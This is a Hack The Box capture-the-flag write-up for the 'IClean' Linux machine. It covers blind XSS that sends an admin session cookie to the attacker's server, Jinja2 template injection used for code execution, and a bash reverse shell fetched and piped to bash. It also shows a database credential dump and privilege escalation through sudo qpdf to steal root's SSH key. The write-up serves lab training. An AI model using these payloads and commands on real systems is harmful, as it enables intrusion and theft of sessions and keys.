IClean writeup banner

I Clean

Hack The Box Machine Writeup

VRRRRRRRRRRRRRRRRRRR

VRRRRRRRRRRRRRRRRRRR

Summary

I clean is a medium Linux box that I would put on the harder side, at least for the user steps. It involves a lot of cool techniques such as PDF embedding and jinja2 SSTI. There are some rabbit holes that can be fallen into as well so an attacker must be careful and be willing to go back and try other things.

To get user.txt first the attacker must find a location where they can use XSS to steal an admin user's session cookie. This is then used to access the admin dashboard where a QR code can be generated that is used to create an invoice. There is a field in the invoice generation that is vulnerable to SSTI. There is some filtering that must be bypassed but this can be leveraged for RCE and a shell as www-data. The attacker must then find mysql database credentials that can be used to find the Consuela users hash. This cracks easily and can be used with SSH to get a shell as Conseula and complete the user step.

Root was much more straightforward and easy then the user step for this machine. The Consuela user has mail that mentions pdf. They can also run QPDF as root. Using QPDF the attacker can embed root's private SSH key into a pdf and then use binwalk to extract it and get a shell as root with SSH.

I hate when the Spaceballs take my atmosphere

I hate when the Spaceballs take my atmosphere

User

Recon

Port Scan with Nmap

Starting off as normal with an nmap scan using -sC for scripts and -sV for version enumeration.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ sudo nmap -sC -sV 10.129.163.195
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-24 18:18 BST
Nmap scan report for 10.129.163.195
Host is up (0.021s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2cf90777e3f13a36dbf23b94e3b7cfb2 (ECDSA)
|_  256 4a919ff274c04181524df1ff2d01786b (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds

Port 80 webserver enumeration

The only thing we can interact with from the basic Nmap scan is an apache web server on port 80 so I next checked that out. This redirects to a vhost of capiclean.htb so I added this to my /etc/hosts file. It is not clear to me why this was not discovered by nmap like it normally is. After adding the vhost and refreshing I was presented with a fairly normal company website for some kind of cleaning company.

I could use a cleaning service myself!

I could use a cleaning service myself!

There is a login page that can be accessed, trying for simple SQL injection does not turn up any hits though.

That would be too easy

That would be too easy

On the main page there is a link to /quote. This appears to send a message to management as stated on the page we are redirected to after submission. It also states that they will reach out soon via email.

It is always useful to check forms in burp for hidden feilds.

It is always useful to check forms in burp for hidden feilds.

Messages like this tend to indicate some kind of a bot user

Messages like this tend to indicate some kind of a bot user

100% me

100% me

Whenever I see something about moderator or administrator interaction on a CTF machine I immediately think of some kind of CSRF or XSS. I also ran a feroxbuster directory brute force at this point. It returned a couple of routes i had not seen before such as /services and /team but these are simple about pages without anything we can interact with or use except maybe grabbing names.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ feroxbuster -u http://capiclean.htb/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-words.txt -q
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
302      GET        5l       22w      189c http://capiclean.htb/logout => http://capiclean.htb/
200      GET      369l     1201w     9644c http://capiclean.htb/static/js/custom.js
200      GET      623l     3867w   281026c http://capiclean.htb/static/images/img-1.png
200      GET      167l      997w    83329c http://capiclean.htb/static/images/img-7.png
200      GET      130l      355w     5267c http://capiclean.htb/about
200      GET      180l     1125w    84070c http://capiclean.htb/static/images/img-6.png
200      GET      229l     1282w    93801c http://capiclean.htb/static/images/img-5.png
200      GET        5l       52w     2215c http://capiclean.htb/static/images/linkden-icon.png
200      GET      193l      579w     8592c http://capiclean.htb/services
200      GET      183l      564w     8109c http://capiclean.htb/team
200      GET        6l      352w    19190c http://capiclean.htb/static/js/popper.min.js
200      GET      349l     1208w    16697c http://capiclean.htb/
200      GET       15l      110w     7039c http://capiclean.htb/static/images/logo.png
200      GET        4l       53w     1995c http://capiclean.htb/static/images/fb-icon.png
200      GET      872l     1593w    16549c http://capiclean.htb/static/css/style.css
200      GET        6l       73w     3248c http://capiclean.htb/static/css/owl.carousel.min.css
200      GET        3l       17w     1061c http://capiclean.htb/static/images/favicon.png
200      GET       90l      181w     2237c http://capiclean.htb/quote
200      GET       88l      159w     2106c http://capiclean.htb/login
200      GET        1l      870w    42839c http://capiclean.htb/static/css/jquery.mCustomScrollbar.min.css
200      GET        7l     1604w   140421c http://capiclean.htb/static/css/bootstrap.min.css
200      GET    18950l    75725w   918708c http://capiclean.htb/static/js/plugin.js
200      GET        3l       50w     1779c http://capiclean.htb/static/images/map-icon.png
<...>

catching a request and sending it through burp the only real information that can be gained from headers is that the server is running Werkzeug/2.3.7 and Python/3.10.12.

Headers can be a wealth of information sometimes

Headers can be a wealth of information sometimes

Wfuzz brute force scan for vhosts

whenever there is a use of vhosts or subdomains such as with capiclean.htb in this case I like to use Wfuzz to try to fuzz for others. In this instance that came up empty, with the 2 results simply being false positives.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ wfuzz -u http://capiclean.htb  -H "Host:FUZZ.capiclean.htb" -w /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-20000.txt  --hh 274
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://capiclean.htb/
Total requests: 19983

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                          
=====================================================================

000009543:   400        10 L     35 W       301 Ch      "#www"                                                                           
000010595:   400        10 L     35 W       301 Ch      "#mail"                                                                          

Total time: 0
Processed Requests: 19983
Filtered Requests: 19981
Requests/sec.: 0

Blind XSS Session Hijack

At this point the best attack vector we have is through the /sendmessage function which states there is some kind of bot interaction. capturing a request and sending it through burp we can see that the checkboxes correspond to POST fields values for the service key.

Tampering with values in burp tends to work even in production applications.

Tampering with values in burp tends to work even in production applications.

Since none of the input we control is reflected we will have to attempt blind XSS attacks. Portswigger has an excellent XSS cheat sheet that can help in creating the exploit payload. In my case I started by testing

<img src=x onerror=fetch("http://10.10.14.153:8000/")>

I also spooled up a simple python webserver. The thought here is that if the JS code is indeed being executed, the bot replicating an admin user will send a request to my webserver. I need to URL encode the payload in order to get it to work. This can be done in burp with control U while having the text highlighted.

There are lots of cool shortcuts in BURP to learn

There are lots of cool shortcuts in BURP to learn

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.129.163.195 - - [24/Apr/2024 18:47:08] "GET / HTTP/1.1" 200 -
10.129.163.195 - - [24/Apr/2024 18:47:30] "GET / HTTP/1.1" 200 -

Now that I confirmed my hunch of XSS being present the next thing to try to do is steal the session cookie. I didn't really like this part of the machine as it did not assign us a session token to begin with, so we are kind of just guessing that there is one. I think it would have been cool as an additional hint if a session token was assigned without http-only prior to this step. Hacktricks is also a wonderful resource for XSS and to steal the cookie I just used one of their payloads: <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>. I submitted this payload in the service field and after a couple seconds we have the admin users session cookie!

gimme that cookie

gimme that cookie

sh
─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.163.195 - - [24/Apr/2024 18:52:09] "GET /?c=session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Zik6-A.Z0mFVCKjPMIcwW0eJaBgvca7QMQ HTTP/1.1" 200 -
<...>
Secure your session tokens people!

Secure your session tokens people!

Now with this session cookie we can add it to our browser by whatever means we like the best. I tend to just use the developer console by pressing F12 and then going to the storage tab.

The browser developer tools are really useful if you know how to use them

The browser developer tools are really useful if you know how to use them

Now when we go to /dashboard we are logged in as an admin account and are presented with 4 new choices.

This looks a little complicated

This looks a little complicated

Admin Dashboard Enumeration

Enumeration is always key so the next thing I did was enumerate these new options. Generate invoice seems to go to /invoiceGenerator and give us a form we can fill in.

That's a lot of fields to test.

That's a lot of fields to test.

Clicking generate then gives us an Invoice ID.

I take a note of this for later

I take a note of this for later

Back on the dashboard page, Generate QR leads to /QRGenerator which asks for an invoice id.

Good thing we noted down our invoice ID

Good thing we noted down our invoice ID

Entering an invalid ID will just reload the page. If we enter the valid one we got before however we are presented with a QR code link based on the invoice ID and another form to "insert QR Link to generate Scannable Invoice". Clicking on this link brings us to the .png of the QR code. I could not get this code to be read by normal QR readers.

Why wont you work QR code

Why wont you work QR code

The future is all QR codes

The future is all QR codes

However, if we supply the QR code link into the new form it generates an invoice for us with the values taken from the Generate Invoice form we filled out to get the invoice ID. Something I also noted is that the invoice value at the top changes each time I ask it to create the invoice, even if from the same link.

I'm interested in what text we can control is echoed back in the document

I'm interested in what text we can control is echoed back in the document

As we already have admin on the web application and the next step would be some form of execution on the underlying machine this invoice screams SSTI to me. I noted this as a likely attack path and continued to enumerate however as it is always good to fully enumerate before attempting exploitation.

The Edit Services button on the dashboard page leads me to /EditServices. Here I am able to select one of the service types being used to generate the invoice. I am then given a form to change the values. The only field I can change client side is the description however.

Client side filtering is not fool proof

Client side filtering is not fool proof

Sending it through burp however we can see that the price and qty fields are passed in the post request and can be changed that way. To me this looks like another possible vector for SSTI injection in the invoice. When submitting the form it responds with a 302 redirect back to the same /EditServices endpoint.

always enumerate as much as possible

always enumerate as much as possible

The Final option on the admin dashboard is Quote Requests. This points to /QuoteRequests and appears to be a blank page.

An interesting feature to be sure

An interesting feature to be sure

Locate SSTI in Invoice

At this point I had fully enumerated the admin functionality and determined that SSTI is the most likely vector. I went back to generate an invoice and used various payloads to test for SSTI. I used \{{4\*20\}} as my payload and put it in all the fields.

7*7 is a lame testing payload

7*7 is a lame testing payload

I then took the invoice code and generated a new invoice. When doing so it seems to have still used the values from the first invoice i created.

very intersting

very intersting

Even when changing the selected service type it still only generates invoices with the first values I used. I found this to be incredibly strange and wondered if it was just inputting my values into a database but only pulling the first instance of them each time.

At this point I switched to the edit service to see if I could get the invoice to generate any differently.

Still nothing!

Still nothing!

This did not seem to change the values. Another interesting thing is that it appears that the price and total for the basic cleaning are different each time I generate an invoice, and not tied to the values I pass at all.

Well what the heck then?

Well what the heck then?

This behavior really confused me and had me stuck for a while. Eventually I played with the application and came across the Post to /QRGenerator that is made when we input our invoice ID. Looking at this in burp there appears to be a field invoice id and qr link which are both filled with the arbitrary values we pass.

Is this what I was looking for?

Is this what I was looking for?

This is also reflected in the response as art of the QR code image object.

Now we are getting somewhere

Now we are getting somewhere

Trying an SSTI payload in the qr link field and we finally get it to execute \{{4\*20\}} as we can see 80 in the response where hello was last time. This confirms the SSTI.

Hurray, we finally found it

Hurray, we finally found it

Life doesn't make sense

Life doesn't make sense

Jinja2 SSTI RCE

We know the webserver is running python so that quickly helps filter down the potential template engines in use. Hacktricks is also an excellent resource for SSTI and has a guide to determining the template engine using various payloads.

Using this I quickly deduced that the engine in use was Jinja2. I tried using some of the RCE payloads on the site but they all were returning a 500 error indicating that there is likely some input filtering going on. There is a link on the main SSTI article that goes to a more in-depth post about Jinja2 SSTI.

This could be used as a guide to create a custom SSTI. Instead of going through this process I simply looked for some of the payloads that seemed encoded and like they would bypass basic filtering. near the bottom there is the payload:

sh
 {{ a }} 

Changing the ls command to id i confirmed that this works for code execution.

All your code execution are belong to us

All your code execution are belong to us

Red is the best hair color

Red is the best hair color

Shell as WWW-Data

Now I simply needed to use this RCE to obtain a reverse shell. It was having issues with a traditional bash reverse shell and I was hitting the 500 server error again. Perhaps it is blocking on the & or > characters? To get around this I figured I would host a bash shell reverse script and then use curl to retrieve it and pipe it into bash.

man thats a complicated looking payload

man thats a complicated looking payload

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ cat shell.sh 
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.153/42069 0>&1

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.163.195 - - [24/Apr/2024 19:47:17] "GET /shell.sh HTTP/1.1" 200 -

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ nc -lvnp 42069
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::42069
Ncat: Listening on 0.0.0.0:42069
Ncat: Connection from 10.129.163.195.
Ncat: Connection from 10.129.163.195:43796.
bash: cannot set terminal process group (1201): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ 

Whenever I get a shell i like to do the script trick to upgrade it to full TTY. However in this instance it was causing problems and I was unable to get it to work correctly.

Shell as Consuela

We still don't have user.txt and looking at /home there is one other user, consuela, that we likely have to move laterally to. Inside /opt there is an app directory. This contains app.py which holds clear text creds for a database conneciton and what seems to be the source code for the web applicaiton.

sh
www-data@iclean:/opt/app$ cat app.py	
cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
import pymysql
<...>
from io import BytesIO
import re, requests, base64

app = Flask(__name__)

app.config['SESSION_COOKIE_HTTPONLY'] = False
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
app._static_folder = os.path.abspath("/opt/app/static/")
<...>
@app.route('/')
def index():
    return render_template('index.html')
<...>

Using iclean:pxCsmnGLckUb and the database capiclean we are able to connect with mysql.

sh
www-data@iclean:/opt/app$ mysql -h 127.0.0.1 -u iclean -p'pxCsmnGLckUb' capsiclean
mysql -h 127.0.0.1 -u iclean -p'pxCsmnGLckUb' capiclean
mysql: [Warning] Using a password on the command line interface can be insecure.

For whatever reason this seems to hang though so my thought was to establish a tunnel to the local port 3306 mysql instance. To do this since I don't have ssh access I used chisel. hosting it with a simple python server and fetching it with wget

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ locate chisel
locate: warning: database ‘/var/cache/locate/locatedb’ is more than 8 days old (actual age is 356.6 days)
/opt/Empire/empire/server/modules/powershell/management/invoke_sharpchisel.yaml
/opt/Empire/empire/server/plugins/ChiselServer-Plugin/chiselserver.plugin
/opt/Empire/empire/server/plugins/ChiselServer-Plugin/chiselserver_darwin
/opt/Empire/empire/server/plugins/ChiselServer-Plugin/chiselserver_linux
/usr/local/bin/chisel

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ cp /usr/local/bin/chisel .

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ python -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.163.195 - - [24/Apr/2024 20:00:36] "GET /chisel HTTP/1.1" 200 -

www-data@iclean:/tmp$ wget http://10.10.14.153:8000/chisel
<...>
2024-04-24 19:00:45 (5.33 MB/s) - ‘chisel’ saved [8077312/8077312]

Now we must run a chisel server on our attacking host and chisel client on the victim machine to set up the proxy tunnel.

sh
www-data@iclean:/tmp$ chmod +x chisel
www-data@iclean:/tmp$ ./chisel client 10.10.14.153:8001 R:3306:localhost:3306
2024/04/24 19:02:48 client: Connecting to ws://10.10.14.153:8001
2024/04/24 19:02:48 client: Connected (Latency 9.592151ms)

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ chisel server -p 8001 --reverse
2024/04/24 20:01:53 server: Reverse tunnelling enabled
2024/04/24 20:01:53 server: Fingerprint etTBYYuUHuG0R2gWp5aWiFPq4kW9vMLb2Ju1/XgcGj8=
2024/04/24 20:01:53 server: Listening on http://0.0.0.0:8001
2024/04/24 20:02:40 server: session#1: tun: proxy#R:3306=>localhost:3306: Listening
I wonder why it was made that shape

I wonder why it was made that shape

I should now be able to reach the mysql instance on the victim host from my attacking host through this chisel tunnel, bypassing what I am guessing was the TTY issues with doing it directly from the www-data shell.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ mysql -u iclean -h 127.0.0.1 -p 
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 507
Server version: 8.0.36-0ubuntu0.22.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 

I can now look at the databases and tables.

sh
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| capiclean          |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.013 sec)

MySQL [(none)]> use capiclean
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [capiclean]> show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.011 sec)

The users table looks juicy. This contains a password for the consuela user which appears to be some kind of hash.

sh
MySQL [capiclean]> select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.010 sec)

Running the hash 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa through crackstation we get simple and clean as consuela's password.

A password with spaces, nice

A password with spaces, nice

Using consuela:'simple and clean' with ssh we are able to get a shell as the consuela user and grab user.txt. Finally completing the user step of the machine. It is also imporant to note that the user has mail.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ ssh consuela@10.129.163.195
The authenticity of host '10.129.163.195 (10.129.163.195)' can't be established.
ECDSA key fingerprint is SHA256:poL5azB2qeasUKd8+akQR1wg8ouT5FmME9YGJQXJhbo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.163.195' (ECDSA) to the list of known hosts.
consuela@10.129.163.195's password: simple and clean
<...>
You have mail
consuela@iclean:~$ cat user.txt
78d340b93cc6fea26567f4b33b7ce413
TWO fry memes, surly that cant be legal

TWO fry memes, surly that cant be legal

Root

Enumeration

Manual recon

The first thing I wanted to do was check that mail for the consuela user. There seems to be a message about weird PDFs which must be a hint for the root step.

sh
consuela@iclean:/var/mail$ cat consuela 
To: <consuela@capiclean.htb>
Subject: Issues with PDFs
From: management <management@capiclean.htb>
Date: Wed September 6 09:15:33 2023

Hey Consuela,

Have a look over the invoices, I've been receiving some weird PDFs lately.

Regards,
Management

Checking sudo -l we can see that the consuela user can run /usr/bin/qpdf as root. This is almost guaranteed to be the route so at this point I focused on how to exploit qpdf.

PDF Embed + Binwalk Exploit

Doing some googling it turns out you can embed attachments into PDFs. You would then be able to use binwalk to see the embedded information. My thought was that since I was running the PDF generation as root I might be able to add root.txt or root's ssh key as an attachment to the pdf. The documentation for QPDF shows how to do this with the --add-attachment flag. It will also complain about needing an input file, this can be bypassed with the --empty flag. Lastly it needs an output file, I just called it extract.pdf

sh
consuela@iclean:/var/mail$ sudo qpdf --empty --add-attachment /root/root.txt -- extract.pdf
consuela@iclean:/var/mail$ ls
consuela  extract.pdf

Now I can transfer this back to my attacking host, I simply hosted it on the victim with a simple python server and used wget.

sh
consuela@iclean:/var/mail$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.14.153 - - [24/Apr/2024 19:20:48] "GET /extract.pdf HTTP/1.1" 200 -

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ wget http://10.129.163.195:8000/extract.pdf
--2024-04-24 20:20:40--  http://10.129.163.195:8000/extract.pdf
Connecting to 10.129.163.195:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 841 [application/pdf]
Saving to: ‘extract.pdf’

extract.pdf         100%[===================>]     841  --.-KB/s    in 0s      

2024-04-24 20:20:40 (243 MB/s) - ‘extract.pdf’ saved [841/841]

I then ran binwalk with the -e flag on the pdf file to extract the embedded data. This creates a new folder called _extract.pdf.extracted which contains a file with the embedded data, in this case root.txt.

sh
┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ binwalk -e  extract.pdf

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
525           0x20D           Zlib compressed data, default compression

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_extract.pdf.extracted]
└──╼ [★]$ ls 
20D  20D.zlib

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_extract.pdf.extracted]
└──╼ [★]$ cat 20D
e515ab9e39e187366c40fb92b8a26af3
I am guilty for searching this more then once

I am guilty for searching this more then once

Root shell

While we have gotten root.txt it's always fun to get an actual root shell. Luckily all we need to do in this case is change the data we embed in the pdf from /root/root.txt to /root/.ssh/id_rsa and steal root's private SSH key. We can then use that with SSH to get a root shell and truly complete the box.

sh
consuela@iclean:/var/mail$ sudo qpdf --empty --add-attachment /root/.ssh/id_rsa -- root.pdf
consuela@iclean:/var/mail$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

10.10.14.153 - - [24/Apr/2024 19:25:42] "GET /root.pdf HTTP/1.1" 200 -

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ wget http://10.129.163.195:8000/root.pdf
--2024-04-24 20:25:34--  http://10.129.163.195:8000/root.pdf
Connecting to 10.129.163.195:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1173 (1.1K) [application/pdf]
Saving to: ‘root.pdf’

root.pdf            100%[===================>]   1.15K  --.-KB/s    in 0s      

2024-04-24 20:25:34 (323 MB/s) - ‘root.pdf’ saved [1173/1173]

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop]
└──╼ [★]$ binwalk -e  root.pdf 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PDF document, version: "1.3"
521           0x209           Zlib compressed data, default compression

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_root.pdf.extracted]
└──╼ [★]$ ls .
209  209.zlib

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_root.pdf.extracted]
└──╼ [★]$ cat 209 > root.key

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_root.pdf.extracted]
└──╼ [★]$ cat root.key 
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----

┌─[us-dedivip-1]─[10.10.14.153]─[htb-mp-904224@htb-5x6avivczc]─[~/Desktop/_root.pdf.extracted]
└──╼ [★]$ ssh -i root.key root@10.129.163.195
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
<...>
root@iclean:~# cat root.txt
e515ab9e39e187366c40fb92b8a26af3
Another box down on the quest to be a master hacker

Another box down on the quest to be a master hacker

Additional Resources

Ippsec video walkthrough

0xdf writeup

0xdf.gitlab.io